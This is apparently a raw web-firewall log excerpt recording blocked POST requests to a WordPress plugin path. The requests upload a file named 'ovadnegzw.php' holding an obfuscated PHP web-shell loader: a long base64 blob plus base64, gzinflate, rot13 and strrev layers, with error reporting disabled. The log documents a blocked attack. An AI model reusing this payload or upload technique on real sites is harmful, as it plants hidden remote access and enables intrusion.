I6ox530958cpwBAiHLKoEcxMTLDfDwpsLqr336VzNLsPrDuZNZ2JrqiIC66xN63ZkZKQnBWhefxUYQ7zJfUAmORHqhRwMmDkvnUtHd25BqQXFx5cWnYAvkMANDFMD1KTy2Y8\/QuzjpBqtrj9YEZ0oi67WkIBOaO\/g4XFwvydP7a2vQmdK6JdIarnyZ9p6bFubhNPPiTM6VvTodIHHVYZFmjbP1aUMovcP83yvrM8vHjnCoqwfEz3EPzEo5LaLGWcQWkDjpNTpNddugixp9vlT2MKQfM1YbRBFu5YAs\/iXb8uHSmYL1k6rJR5eMCwxuwLebtjhoDSmY7P9mtx6nU6vqzxPDLkxOkZlrX207oBipJU224QWwXWf8Rh9q87BivHnlXOaxfa7qon9xtCyCqoG70P1Ra0sa84qR6nnEebA3Wz8wTNS6rjPN+3P7elSl8aFAlrovnDL9lRHhG8rfvgOnbQLkGsvX1dnpnjUphRRg21rH8kTPZKeOMOIJu04s2q3yICqa1rOQheH0ZBZS3XqPzJKMq0R3TD3aR8k4Wwg9E+1UYZki48HlgpDJUNhMqT5ti8j7Iw9aksoliC\/Ykw+udzoy2VV\/URvlGtyILRkD1qFfARYbXJegNg3T2dVJkck8BsJhIbIw3z4Lmfh\/7SG+EoJMTICLR2H0dUq5rF2DqCaTqUbeE9QKvYEpUgOZzOU7WiCipJOv7dFV2EmIG7gmmG2xMr35vu1CLO0QDjg1Nd1U4iaXxZ28AjQg1+eHA\/JFp8Tx3Aq5UTahglQbDMbgWzL94Yq1+PBuDmQOGhVoc37ZYZXVP6qmm4zPRXGHJcQqjJy5XNopWMsdwtjaqa1lNv0SnLElkh+rS0RBUJPhMmlXrSsMSARH6lUvpD\/\/WtBru13dfwNgFw1uNY\/miPBJF5ztcq4AAAPRjAwCBXxoGHROKcdy9qrg8IXIzBjZc6qbcd2Lm+K5\/SHNYnRBlTJvDR7cgww7sTB1mwWAveiFz61VRIBu6FtZIfqDJ3YJePw99MQWQTB1CMYRR5SCJc76t+MLWvKYAHYfuXg\/z21yhM0FvxC3lGpqhkJ72HaOwlfcZIFaBSxWIv7sx4sJd+walzCBcdNcuEZj3ElOjYhxhRCG2UinHbM8IHCzjftOo3KxXk1DnwnmePCUqt2+65k3xdZMOH1IV79Fpoeli09Jc+6Mc64iRi0iyZoHF72B3BzYhgYqyJ\/t2ygrT0A0tS4HDqkP8\/QxFUoqby+PW5+NezcJJAo2n8aJ4\/FjAuGNUV+\/TmB2b71peWmuBflRShQUiVsvcas5us9Abi68m49tlgoj6m23zRw8tc2+gmcsfrK987mnlN96cg1FQwujJDoZUYMB+KbSEPEcsNN3dsNvDm3MF8YMcbQwDYct1JfBSzqOaKOhBvePy8gd17LNzxjofeQX5ylGHohH1D3UkHTi90cRy0F+s3OpiG2k+Z1myTsrqqAAAoUmjIm4q\/qTeR+dDvRoGkhDndJEyy0e6iDDz2SQBF7D+JC9QkDCbKMe2tO5vKcud6l9s6+GeLaU9pFoC7hsgrByg0w1+dPl90bQAgEAHEpItp2MYBB+mulV\/M7FysaKEOOIl5eIyvw8vOZjVAyyST+jU5rtp1P0vdGc+\/hD3aDrK31hekc5M7CGX6mpNSBcDwXsulftE4ZmOyPB+OQ8ksGNrBs1ukFA1Dza2QDGzeDvMtLuUiVAV5QpkP1kUdMQ\/6KHc\/EguHzfPhokBACk8\/IxL19K6eWQtXZFRxL7FlrQVmALad0uHEzUS3VPuywZ5IVD1A7dIJ0MwL+zSbqVbUWAg3D4t9uiuKrpWhh9KPdRfkJjWfmgkQB33nhBdxUsqAuE8t+FE\/D8PUH42vfjAN6HDK1+EUwDmnq9ezjO7IjA45\/\/OQtZN5zRkozYKJpgss0fR47MsHvSd5snvpXamRQAAtqpn+ELmB4yr\/1GkQk6OwOwxrX3w9thAXlftNl5k\/a0SBaAiURzd\/zSgwHFNBzPcY21ipXgxTjpkT5RJyQZ95I2Zl4zhbSjLsEFIo0Jfm9FWONPH8amf\/C6Ed8w1IRinY\/nAan37UAWfZAYug26nZ43hrCA48OVlrgMOnW4BdOjdmSzjW0mI9uHYdFlONvWJPXJJ3r2l7P1Q1gSlnV\/p3VtfcsaZzNs+jepeaRpkqsJUAXwqiHenzqSjgHkVzYdwr8Q8ffaAUDuyiph7nBpPDufjAP0Wp4INMv18xJpE+ueWEzh8YxqQ\/RM6TBTCbanC9VnAe0FcQWIXw3s1ZQ90SQllVEr7q9dhnwnqEAtnoLm8Sp5mQmBUl\/uBP+a3rBUsZlh09R1Jo12joUpf0IprBc1+qcnM49khnMzbAkwzJIpk734Ob+yNORoLZbuyO9qNmtjzbaAoL+dYIJu4yn6Xo2HAjxEonfSmTebfTx3BiBk4XH\/Hp9xEDu9H2eCsrDN9OteCn34wEWcvohqebRi6FABZN4k07j3KDacP3iLeeUMR70jbKy+Q42vDbEXxV9H+Kb9l4QtmyxeWHLE+MKjhd2swYubcP0hQ6nz7HYgkrmxhSx9G1ZmWMTZGRLCDvpyu6zWL0X6jkd44cpGeoU+lR+tzvoUabsIDbXVQYd5pt6k2U4kXCUi9x32MBa9uuVduyl2ehQBAkCzCBszGTlhTsX27+EfdfKanXqy5R79AzylB43ojkpZI9jva5e3K5bOzQwr\/cvtAVceALwTPV+W181pYZBQlln6ycC7d2\/FkO420OFtqVDOQ6DAb4wva2JH05GoJWA73q+ju6qGXU7HIfi8vh2dECxDXSHlAnBEaYy7XJADwZDdObxpc\/9oOv6VgS2o7IfPKv4eGhQpGsuz2RlNd3k4DmyDAJJrqwTxS9kqVKGo8etVdxRjiJQRMplAuur6Yp3qFioNpEYFHnqfKcmXSamkmD7wNFd017OXwtapmvcCvzFhWa2CDB6s4QOnbEzKdzh3CepmFq6o1UEEH508sXH0iMvJChoiIsrgCpEVWzWBiBBLRP\/bWx8toXluOlCl9tC0ZB5qO2wIb39jPNFDBk24RZXFb6jN+9YO+kTICiPj6+MYwrcKldMVF3SryCOESmgIQR1ZUz69cPzevOVhtsbPYNNKNAtkWvS2Qs2CtA4KsNqJK32nrmTtm1t5aAh3eia23LAt8zOm6rbN+I4QeE9oS+9nryGA96GeQX7Gz15EIgfZ40yseKTn9pstDIMSw1ogyML2F\/DRPKeUzSWeH5Hw+0y5ZfkrcD5LN8PNrMe0EszzQuN3IGChufwAK\/nohalw3cySJQze7qJsRJY8FoxQVWrEpp2rLYMMANb5FBCOoDAAQcW3U8unx6tGXL6TFORhLg4PjeJI61bE5bZILJFmObUtwi0v05glvpAAIubtLmb02\/\/balNiSHr63HSE\/oH9nbAlvXIEaDQh6sJSL\/A1n7Oc1qHtO25X1\/DQ6WUXdrNgwHymxEdIemku7LmVYGDutQ0ZQt1qy1ia4dm3AxBYHAFwzMV5aO49TUQBy4vKjJy3Xf2WvYbVhLPcHp\/ZJUQBMd0w+wqycJYKL3vtWht1TLygAftJQv+eU4amReIoScnVTJx1b+XegoXp0uVsVopOKP4QUUjbeWF\/CeBpXy9yRmbJZ0AlM7t1aEqP10HN\/MDA9+3Mr9E\/gPkuINA4qj1qIH47XjcnUmDN29qOFfSkWiodDzThkWgt669PET2hbUvI0TadUnuMNLlzKvEIY9Lj4iKxUa4UAAFE2iBNnY8VTz1CDURV6qp9U09kGTssbdY7cSsMLxO2a+zlXwu2saMp6ilVZNLY7WujsSQLJLUnhcEgmJvZv7isOlRQAdXgjpJ7tJWcm5sCh6ZU0emKRm+WMx6yCtP4wqmpZhVnIAqmCBNyfLinZsk60t2sB1JpVPGuPO3OJecvK7irm0ohMNYHdu3A4JZ7h7llmEnIk82olaJDi89rVgw4eD3\/q1kVkIwIamglKmXYXQVcE5P+EsUCSYhvHXoREP+rgOQRbTyJyisarJ+eVik889SGPdzwT2n5OfRkExHvCqV1tawGHN38BufrWEzEQAsFEZh2U17HCz7VqO5u39McoLif82W9TSaA9zEcPEeNYz+tqA0bMiH6MhVyNYefMWbqHrmdK7zi81BbFTazKT4so66vNTuAHjxUBFnKgdStSTfx1zWN1uAVicAt2l\/ptb1MsYykEXJsHzQO7Ucn04Gy1RvbEBb2PzXV6GYpWZCLy2RWSK9czbYJdWp27f0A0ZKbeDUFpEhC5fCEn6AM8dSsjDcep4YT4B37rrZIOwXsdenD9uc1zFYdBbWP2qR3onu2BEXkhbxDFG4iZjGRV57mv0dU9+D3TslaEsfM5xwT8z5utKgNhsM9+5p0ZvV6OlKE3kn1RPZ0XL81L3C6rwzv2l\/BR02vjtudFhNSADvzSVR4l34rCjn0JrKH1qSR9ZgUXA8w8yMURWNz+7FRXZaJz8CzTx8OWgYp+v2RBPDHi4KbklGZBFTgCexVraF7toQePkk9BJE22YpT8AMYMae9id4Yii+6lrAdJTDhJtJfZYIRNdGIWgbV7qtpJd5Uf1cGg2PImPorb6yNpjfb4VUAIVJGiL+M4LNaTkipIKmYXHHpNyytxnD3Jm4lVtbECF4Q\/DvqLVWlH+kuQqShqG12eFepT8dqhfpqU+W1mJYze81hjcuO+DQOqlVLJRTFBcpkZCOwSZsLHrtPZGFLIw8PUp0I\/Lu5TkJXPXG+qlmoslNUhKe+6Jw1ht8qn7bchzaWJSbsJYpM81\/qm0RsT3MlJvhUHwlqmCiFHN2tO9cNqtAx9Xkcwh0jq+MVmSbCcU8Zk9zyLvoATObYdHF\/DgxJ\/eFyIz\/0JjOWs8unzK3rclrurt7FKgZvZtzd+ucodnp6aKn9GOYPwLpGDzmUX5ugF2UEprQC7adofUg\/lCS0A4BUnCH2wMM8FSZJO1pu\/\/kWKR9XCy9ObEAw3xMBez0y7RNe2OiDYxFg6tkSfHf+8tleh301ODIWpOXiArmKbfaiF35WhJYhJjyzxuzvgvWxhJstaS\/538EiesWoc\/rfpfrhUVZdXicVlZAIRMDRy7FC0m153LdmlsU82mxnKBBocVkbwFD4nWCWmUTbIH5aJWAWJvZGxYKk5vUhmEvb6qBolkOAqEy0g0n6rUQLX6WwWAGBXIKHAGKijuQxD3Ko\/TmE39Kfu5PYOfcQmh6PgndFC+0KP1BSLkHN9bBTxux26NSMEeBr4IC4AsGArUq4FPnN8eUNjxUIzWfD4JC+zPmEKdZy6Z66hBFGNZaOqmO+Fb7njWS40pGq5ABLoAxLhucR7AW2p686\/DwDU0kKny6YTh86B4Cff\/DzwmR4FqaQNWhNbRfgttnazCADAFFvNP2YEM3fgDZpoMW3qqxiQz6c\/KQZOZUCtSY9tqR9d3mjGVfDFT\/6CujuWYS3kT5KxTLuEQnTISndgUvtj7jPnGN9GSI\/UUejCn3UlX8XtqTD94HUpk1yaCQ06PqktPBufZ4xAA7y4kpidj2yqTRii8FXarkABeIrL57u5y4YOLCIIxQwmTNIbrI312gAmMQkrrNH07DVzli1fFlrydL88TWReazQCvcLIwD8+gGeLjf1B4FBveL8HnMvrtHFvGPRuRu1kXx5FerXita3KQSr+5jo1erQMNc+aoUOLns6uX0p3utnUIPWa+oFgUuhgD0v6MzEvpqzXtdD3GtP76KUY3cIr8VWl\/dgAnXTbiF9od7n6zTAlGQQbnsNmYWfQ0nVsmpm\/XYpFbf9sCaifpO1ri37HQt5yzfGn3uAvVM\/TUgpAehjcgGF+zJvK1P0FvrW9l7AqMIQlH147BSCldF2njl6E5ebEeuxTo6jtFjuPJu0SePj0+kQ94QuEY7izA9ofmxVnQeZlFjK9ggQElqDVOYxsEST\/hK5OIPq3MD8CHO\/WhQcY+UArA59on\/4psetKg\/OwmlfVcRMFoAjNi9xePjFfTSkyQshU057AhusIA79x9Pj52WY8Zn7FEQDYa9I8zvF+WDu+jTlOydFgw\/Xmqic8oCcBdXspH1zhCnM0pTqvLTuHieQ8kK9zPy6YRfQamhwFppmHlR9MPnKtdhnNE2mIHzo90dstZAeXAB\/DL2tmU7PHa9ey4jLtb\/dzytOCb85jxIBQcaFG2c5i4PThfaX81cuY8bInaaUF7VEKiyHjzuoRR\/aRso3cLCdAV2j5HgpTHf9rvWtu\/TzITTms4c0593eidMPiqSnk3+kzkmGMu6eA2iRtPO+4lP9YaVI4toOMmcP8aGOphonqpAZEP1n3d7t\/9yLmBvlyQTrdEsI2QlxXkWtCvSVSen9zs4aiWLilWkuiHHYYDTLRJptW\/rZg2\/GRYSddEZk2jJU4OABgqqxHv+eGt663NQXW3W4aThOxC0lQiiGITESnNyAxpZTtEWPRejRCz57HAMraGHd15R35OZsoSeOyNRZwsJs7vFSp4RGVF+xOAQjmhv77PpIKXfTUIriuILUy5A2DN9ykAGj57sXFTppILi10s2U57ZGXyXc2IcptzWNgKZb65hH+KbV4cqeJHm0e7djm37Z83AJnYOoEvUWKgTtwfy+TlWkJjVqOQ4zLW8h5WEW44674LWuceuiMUOeXORF9Le7Z5GtiNb95iQrkQR27E9T3bVAZqfHMZSZhWo0cTXlLuDoukRfi60YIfX1Uhu4Tt4yKvLRu8hBKmw4AMCm7O4iGdSPr9xI3Hi62K+2ytQikhqPv6W1jo2lweDo5mz6hTrTz3L\/Qbqjv8rHGRQYiqG15IHO0vjQuNtQ1Ez5PdUd53ltNJ5Zxx6mOY0UgHD8pV0mMyaRYoELWlp1unR+gXduPaX\/OvUsjRln\/uEEOn7r7DvMaBwtx3Ey2uddXBAA6FMGnWod3STMxBoxhFyZ3kMVxuBqqI7jCrTBgG5yVjKyqkiH452j9FmrCx43Y\/KuBpzpKBIt8jcfF2GrEThQcltG2W2lJ1aQ+Bdl6vWThGoWP1W2wbRdIRnTShJZTYAqGTmIGLXcmLEhoDmtsw\/ICQUHzzHHbzyJ0ZwmH3sMlOVGkGEs4kvmRv52zCbTp7kwyVtzC60\/WoNno6VEZpTgKPHHOQtPGC7U0Nac\/b6EMIkIuvvsO7\/1KsMorYECoGciEB\/2SdIe9jXuqQConS++Tj\/VazavHkKQGbSMmYgGA9Fop+\/AHr9lJkVr4SMZ0cwbKHZgJAz2NRw\/42d\/cs\/pjnQmiGs6LrhAE3YeMbCEHSPwMv7GEflWQXafShZXdvOg67GhExuBdLDRKWsBuzqdBFxS4I8QnIpVkaypKZBQifrUxcCRp0ivW6iaYbbTGhvsfVkPxYz2XUQpyHao3JL8Y9y8LYx4UxGwFh+7HPVK6JtfhaYMpuPEwjB7cDxeU8NRhtzOeWi4T2BzLDaOIcGFZv0jZuqkl2x\/fxruLNkQ5Ek6iieCrS7p8gbHe68PtS29YNMIAPZt4oJcw6t9cAzWd0NKjQGsNoGiVVjJEup6DjS54KtLCD9+tRohXuBt8yTG1a9D\/qn4TFKcA0BxQkSk4GFd6VylNynildjaxnXdGdPBau\/y+Kbm4w0VwWUFdZd18vtnZUe2M8mvH0kXUfUcmR1wB0rxp\/tLSF3lJ0+N8uZUrNqlAhhGWym\/12xfTDy5FWysSv7xgj4SRGsHZdCBHNyoY9+hQmPEq0jmmf2gfr6xvPVpYw+vDJ40gDNRs5OoZcUswMSVwnxZcgAgXJIVCuJ9DFDoNbd1HsubDVkJXthQL0HIa7offN2c+V62xy11L9TWeZnLJ\/ENED\/dhq6R2K4XIC9rcuDlEh84F8+pmo0O963+LZFWmDQCgiyd6aJBpBY+hoxfj9N8ck8NEnpdYv4BinT\/4dapyt80itMPKsyWgiaLZtMtVw+7v\/0ghHZonUB8hdNCgYoZXV9R+i4lSpoyGZ81\/0YYtP23DHXWMUK4ETR+AmCl+Tnqy703lO+ARC2HgZX3A2fJRm7FqvpbTkVFKpWHASmNb8txcbbv7RvxzWrS3RlQ3Jl7G3gcjuVtIY6ExBY7IF7m1eH5MAQiDNtgbmmYldAnXRn9pRam8Fmv05uvm0TOWZ78N5e39ue7PSUvQnDPbjY1erjcBwqO6Lvn6FV+2cGC1K14GzjGN2wdNhtnORZYkBtTvjmkBLkOICJ65q3Jzghzc9T34YD6Ip3ykrZP1A0EAnTdG7UH5HbTev2lM1g7Z7evPKnjMeihwmfPFx4BknbaO3eQRt6XOtF5yqYWs8ETMLUtQ3k7IPjDTlQT\/A+R95eQc03NqGCioIUgkrxam+sKb87D0nv8hAFCoVycmLVriQr0vp9xYRl7Pk0C4YVN7KqH0w+r3r6JEsuuXXmuOErw4TGJUhOjJh7OJGPs7\/Z9hd4KOAuN1AMAPj+M5FlfG5i2ncKfK+nlOnU8J4\/lImKlPPFiWC2yHXpw7W4Uob4fKd4X9hbMov1IaJob8FfQR+mPobE9JNftd1CdB7uTbnRh843ShPyt\/cN1gFSfoK2ddG+43fGoFfBQ1Pt9\/Sjh\/QyVCsh8tauRjTxGvbSqvh4Csqm22vKv9\/DbO\/kW8Cnx085U6FCbuZhDgbf48frSdpWtiqY4cpR\/LaOPeNIMjgU3aZfL+OGx8KLvbupI2gVqqcX+kCR\/sRcr7aEbyIV5\/m0wv9WtEY4rQOe85Q6uq+cYvcAqZTKmR2tiHQUXPdvX+ovrJxXPG6SZ21r4ommRIJcnVIgNvxyCffVe7DJZhRRRpEdRBzVKTfbyJMNvrMF32FRwkQoC+ue5Vct4vv7mUblXOGwDwiy\/v5sLOSN+SzjoyFmpdFi\/ZlaLvqYtnPRHXJHR5DFByxo3XhATW8QY5fPMtbElWIO3ar0UtvYecz1pku50Dqw+958hOsWUI97F666cA2PsjMiVY82Eo\/zFlmmjnTxoFs8fWZjkQR6F\/aX1ssDMaqYhgqlcIqlNnuvxjJN5ZdT2ouBN9of5ZYmpsG868Q34KI4Glq3nSs0fVHvo0ThjIWsfAoWtYWI1yMrCALerBube4Cdax2eC7HjDsIpvfkQgz4i+M\/rZlvxlZZ6fF2fA5cSdCSelDDADoF\/OaNfyiL5XUj+07eCoL+dJ1frw\/og7T9plGRO80kOEyw\/ODtz3E8LV4M0cQHGsLQlFG\/iqbg8LKGawIeavC8Jti17PJMJvytToMURFvbPDjI914mUGyPI7yNaWlRVrI+SxK59qaEq657\/9Nyx45A3\/EsOF0fkTiCQmDWYjURyJmvV8NMq3ha5ufSZx+JG9BHCkSl5\/kaYEYyF0ZizkvLipFIG6I5hisObN3cuKEurYh3AqLopLk1nscLHcp7YHRxisTAluB3ML\/RIPCOikdeuMfX1ahT2KHkdiQq+\/3+zkxazXaFz2nSR1eS6M1mT5BEx\/xUotabuQMBVvMCACQGeHY6lCyIUZG85yesIO2m3gsffRs6wnwbmZT0vPRu6t0CJ8AQtj7k95obAQlsmDsGDqio+4pI0y1\/DUWbIBLGixqX5kHFRpB1rl\/Fc23SykHJ7CyWpeLGrkkE83SFXiZ10J1PQhNNAQDq9+ioXY\/Hso5E6FYeIdBLrtFf6016EKi60XvT7+kwjPQETkaBMGKx5tzx4VWEEHUm+ek4mxOAWAEABCAsOEoAN5RTbfSHkMvvdeS69C1628sJqLx4kDPREHk2teaVxIqwzGX72ea4Jx0A247p1ZPSN3WXmOBekQdZKqW2C\/iDVNcFkSe2d8Zf9D1DRBpiiJBZP5U+flrIjWBRZ2jEzBSU5OYsoVeaYJpfmuvoZP2StiLBL57G6PVNcSX8U3sZh2LFOLAyPyRJK2zciUx2mWN8U3TSLXXzkpkC6FXO2NwdovXk+7\/3J97Vtzw9WA8C+V1gDahLd21CqvpeS+Em9wpb2yFTP2y8IUz1VTZlz6rz+bCW5OudqpryZ0sltjWt5DTF+7+OpN++QU3unuCTqr5fkSnKVs9LwvZqtoX2sjCjdLja0usRyvb4wsxDDGT8Scwoj\/1XG3klbn5Q5rZVZHJnXVzcGE7FOGHwX1BECFE7vwyrGOviyzOuN9XDpRN2lFfywle+83oneRB1C7RsFkLKWsEkDOYN3PDFVzlOJdTiLdVmuNrJaxRkhvzBxMtmRjhT\/r7Rhvx8qctNKab+1ZQNJ0xgqPvajnITCaYmk5Cx8DNnJcnsWq3h5c\/N2wcrTbcrJxP6TbyeWod0QNR\/Z\/54SHijge95vJWRTbMxTBLKrw38qqrlcxgUDhPiCPaNNPQncxx4lkazu7DhYZKFRZqsCPgPwEAcLdbDXVZxgL\/OKnqEbt+pXGfD5+JgIeRYuZoliX5VqthlSh9G0ECDbgAfbWk5muIyctpjoV2JRm7leY+5rhBMKwKqNElj8AQ42USpsG7vm\/XHNrVTfxNKv8KWpiveDh8lnHk1gyJVnTBtEJ3GxIKgPtkV2hmdQDDSRrvJ21+0sxQZhU5C86OKyTRI9vTzICDIYhyfxNJshQHymnro\/RA2NhEbIFHlvkpxMGM1OO41eR9iz8x5V3fPQ7BLdsMgeIOQwC\/sMxYhxBrviZlCqmOacqa3GPLhl2aX3\/XPocSSgCJCLEnHUzczSbTWfjfX8AB9jTOPoYLcS1CRz2DDXVJKsNV9vWPAjsSMwjW0YZ+PQiIZzl4T506V2YY7E3qFbOaNj1c3eJEoW5CA03TqFCId9zg7hVls7LyXmgN31SUjNPg7VZb\/7AooO9CMY8gF7E3DcNHKXetNLjTdLr7DxUkAEB43bgLdCUiW\/Seq+971OjrDESD9aXqJsy6XFOmV9VRa7rWbAAnOxct4FIACJcmyacJ2eBNZenMpd+uy5dBUomsFzmyVNTl+mi\/eD6pmaAWmUPOr0vPCunCAqJdoCmRwBOKOlWJRa0sVcxYAfkhloD\/52w\/FPv8L0+DuMPpltdM4QYkW0SbksNicX+3pBu\/7EF+OzlJRSKQwxtXSuR0FUFQwoQGlRvVBbYe5PKAhIGC4hVK+GtvFxp4OjVDnwgli59QB5tRbPQjS53Y997YKO+27Q\/7i5xWeV0aMnESNfbB7YE\/uEe7KABCbWgyYbpKDH1LNKATHyg0cx+uJ0ua1EO6jNaPw3hS542CrvlZzXKsB88fZMGidOX0l0XHht8rITlLQJSpoPuVnM0+cNNHR73MVBwwp9k6qpXhVcmdYkl4tmFAv4LWv3zzb+dGnLYsxAn58\/PaLjiu4gW6lTEoAFebIT7uO7YBxC\/JVaADeQVJOtJWd\/7+LO8G5jwSWG7cDebL264fkCJ8Pxcc9a9G6HRTozCJq+PzQD3Zjo9mD+1t5Wn9FCH6\/emae1ZkMUGGTzikQa1HH8Lv0+xXuGAF00YYMX0JKk5Hawu8xrcwuUJtGXXals2\/TT+PnBLtbDpeVPfabfg2r3rO3ytzDEt0ma77shM7HEukynf0A4t\/apDpnFzr5ecKx0ES5aVJKgBHSfsoXuxeVTUGFboa5R302JmElfl3T2hlK2C0mzlgdOuE9BZGaNqkiobgeXKJJ1twDUVAg4pf3ctJpRMylKfbyWYQHnHW2\/NLFAbQ0IrGGVr3EQhNunMnrv7wJaYACBig8vBDZFlWVHzuR2pCbSItn+4H2ZEm4FIAyD+CZr5UIvD9eO3V7DY\/iWOMNkovfh5frdljq5OzsIP6jEPab94ZCdwNDAEAmme87y\/GT\/tK1HRpuJ4Tp2lFrW3p3mzRSE8YCmbGL4NXfo+l6+3MpZAK2m02SvvATuXzFICLM61iG70bD824vLuXT6elMogS6HGG6z9b86Q7g5q4Lr9\/IEMVsOjpk4BhyDjU+6uuXpfk6nOrrETJs468qfdjNL6TB3V4rX0ypxaZmOvcjeCG8fjyHOQCACkGkJDut321dAw5foKh\/kaFaUWqMRF7rIvCXyJAJEABPwUmmwzJkeO5XrCDyOdj3NBex4iaED6bhoPYFGzF3voahtrLrho8zMh2\/UIm6aFIrJSVFCVT+OhHkF12eiGohKNvxz3vuID82Z+JlUn33znZEEM531Jgmp3JQ7zVhfYVLXThGkCLGBLtlZR3EIGPRxucEfTMdx\/VEgStDQqcUzvQSBr2Emo032xS6Ota1WPOEY0pAKJ6fr3Tzlge27k\/08MYUtIHIRRwjzdV62mbJeIfv3QwYn8M7Xa2dieeEMAyklXUv32U2pC4Q0zp+\/htwrcg7Uq372hsZV5g\/260rUx573wxwmfCC6IAqJDF4rK+i52Ok\/TzsMu1WYMBR\/lnblDqfHiSlh65mNSl8P7+JcbUv0syFKCVsJbiVyVL2bbWt+dMTG087w8B8XJG6z\/t06k9gR0COSs6rK1jmNRuggMAiOytv+4IsNfQsIcFSLLebfggykmtXz1yryqQw1ZMoYoP47+mt5ENTGpR04qIhsrjdeqgX\/Q45ZKS7\/MOVhAv0o8WdpeaINkqzZ86pIRWKcV6TN4rBuAUR6PUVvs8C4wYC+yRBTQRUgDGjNNNhoEnybrA+uNOZNC5yJ7ivPhiBzqXZ\/LnXCrtP1uRRN9PmwJmN\/fxka\/4TJDcyw8aXYrCiCKn63L6eAtJwY2VQNypSses8v\/Ii\/nIk2D3jSGXlN9yTdaRAp0PlCDpC5ucBy9x2um9eIA7gcIQOsckBx5SBcUO\/zaDAa2eXgAnVYDhn68GYom4X\/DMbrGFDcof\/QV\/0RpB\/BNeZX4VfA\/2fItbxEYhhwokwQMcn77\/hllhVmajvWdDtgxj\/bFMk7rHTvp6kaRu0USubtlu0tRh0v5b3yz3BiF\/wAtNB5OJtd\/IPCZmaWETFs8WcUOJCcFXrKdWSgP8nfS65rc47MdqpzmskvRtqu0Pt4jUo1NuGpJKlpTInbW6KAKzUbmLXJLTS5lfLrALhAvO5kQfPSYmNMwrV8tx7OzJFAA64wrfMQAAwoqOxCTh2TDl1F8nC44yWulXY0NJAsv0ANN7KbvsNL6b7FlkcRF3RNLlzSuLbINweyPUS4rr+ih\/HAUgorxxDLULm8eSWxe5QpHpwNa5ndLS85mvobD0HFZeuKQbNGcHq3bhetMCFPt7qX\/1\/aceHb6j3kH20mLP1EtchQ753I5d5PFsUNhENYT76jDBfNopHK6sFwDQsmaCm9tMzdyxKMBWmnxd\/seaAS1Ey6v807S1QNfODoJqGkHlCEVfwF12y5A1l9hl+Q9y0mjCu6vrdZ6A\/oYtkaV6aNoFvz2RKM3ecWYX5ZbvYeoP\/LKveNfFEO8h2jQ\/qLLm5bovo\/p5kaomriH61\/7JfOISU98594IPEeTDP2wWqsbPZ7eq3rxiTxEOb+lht+FIthIJIbinmldysslxSt7xFk+HwkUmXUnryA6UupjXQbUdDXuKAEDbx\/vcpOxve80rxEA+CoATH\/Ur6\/XikiNjmJsypY4TygkpQ3vqhT+o3XCGiINptSh6Wqw89Yrh1I3CYOEeR+GZMSed\/I6u7tv7bRQG\/1HIaSOhN\/Bcb4GTPHFKbedzNHD25q26RUOfYbPWV94YZdLuqaaLajFKtuCufEkuuZTwb1q0AhYqKvIbw9visheWSaAXfKQGm68Pbmn2HxLvCMleMqXCufLwqS+3nyPX2nCBc5kUgPCEghzF2xRekXqy9VLtNBkPh+uJTO9KuVYP\/nt7KJ+p9yMPS6WvJYE7Pag1OH45svP9Ni+XyRfNI74IP0tw\/SVktBB2lk5irZaZNQT9g0ZU3tHTK8qfrPxyq4pmCj5RcLs+5rMhj9e18FA+p6wrEguqTQdohVUnHtGBM+SLlgl8IlScfo02POUdQrwq92C0808qUQ3hvJCMwpzifygAXTe2\/LJuGuWR2JB8hat1hB+TPkfUC3fhXtX83xEx2YZEKgcr4tHhyfab0WjK+E+8OXLz41c7LZ0w2eI3TBLpj73+yRKvyTpffT9XNDm8v6MOY79Vd25+aXDmi9Fdn5B8f0W+\/y6Eobt+\/6b+\/Pqevf8WWHn9xqpK6Oq4SH7UWTzm1SH6qWOAsHfz4feSxKSeXgiRFcU1Y9CNkd1vpuVn4MoUkgkAnBupZtLBAP3jQEUTUPzXGtv\/XlEkpKWA8AH2AfWhoHRyNPI0tnYi5CP8P5bQeKgoctaXKf6GTf2NMHRzdnLkoVJWVJcQFtJX1tPSktdXpnQxdDM3NTJ2MtU3NTI1dSL8Xw=='))))); ?>\r\n--77aa4d3d323be75bbd00223efbc7a9f1--\r\n"]
["2026-05-26 16:53:46","170.205.30.68","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=227b781b47ecf6c606fcfae1e9eb11cd\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\ncontent-length:20152\nconnection:keep-alive\naccept:*\/*\n\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--227b781b47ecf6c606fcfae1e9eb11cd\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovadnegzw.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br> '; \/*** ecf18c7da6efc3961853a42ff883eaa9e74fb0c2 **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); 